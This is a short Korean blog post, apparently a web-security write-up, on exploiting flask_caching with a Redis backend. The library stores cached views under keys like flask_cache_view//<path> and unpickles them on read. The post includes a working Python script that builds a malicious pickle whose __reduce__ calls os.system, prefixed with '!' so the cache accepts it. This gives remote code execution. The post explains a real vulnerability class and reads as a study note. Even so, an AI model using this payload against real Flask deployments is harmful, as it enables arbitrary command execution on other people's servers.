728x90

flask_caching 모듈을 사용할때 Cache Type을 redis로 선택하게되면 serializeserialize deserialize를 할 때 pickle을 사용한다! 이점을 이용해 reduce 메소드를 활용해 RCE를 할 수 있다.

 

github.com/sh4nks/flask-caching/tree/master/flask_caching/backends

stackoverflow.com/questions/32094249/how-do-i-work-with-cached-values-created-by-flask-cache

 

How do I work with cached values created by flask-cache

I'm using flask-cache in an app and trying to prepopulate the cache in a separate process. The problem is I can't figure out the format the cached values are stored in. Looking at the cached value...

stackoverflow.com

 

위의 두 문서를 확인하면 쉽게 이해할 수 있다.

@app.route('/jiwon')
@cache.cached(timeout=60)
def index():
    return 'jiwon'

플라스크 캐시기능을 사용할때 기본키는 flask_cache_view/경로 이런식으로 나타낸다.

flask_cache_view//jiwon

이때 jiwon에 들어있는 직렬화 데이터를 ReidsCachepickle을 사용한 역직렬화로 이어질때 취약점이 발생하는 것이다!

이때 주의해야할 점이라면 직렬화된 데이터 앞에 !를 붙여줘야한다는 것이다.

import pickle
import os

file = open("hack", "wb")

class Vuln(dict):
    def __reduce__(self):
        cmd = ("COMMAND")
        return os.system, (cmd,)


file.write(b'!')
file.write(pickle.dumps(Vuln()))

file.close()

이런식으로 익스플로잇이 가능하다.

'WEB' 카테고리의 다른 글

유니코드 Blind SQL Injection(JS)  (0) 2021.07.31
FIREBASE 관련 문제  (0) 2020.09.22
XSS 정리 (추가 중)  (0) 2020.05.19
[XSS Challenge] write up  (1) 2020.04.22
[XSS GAME] write_up  (0) 2020.04.21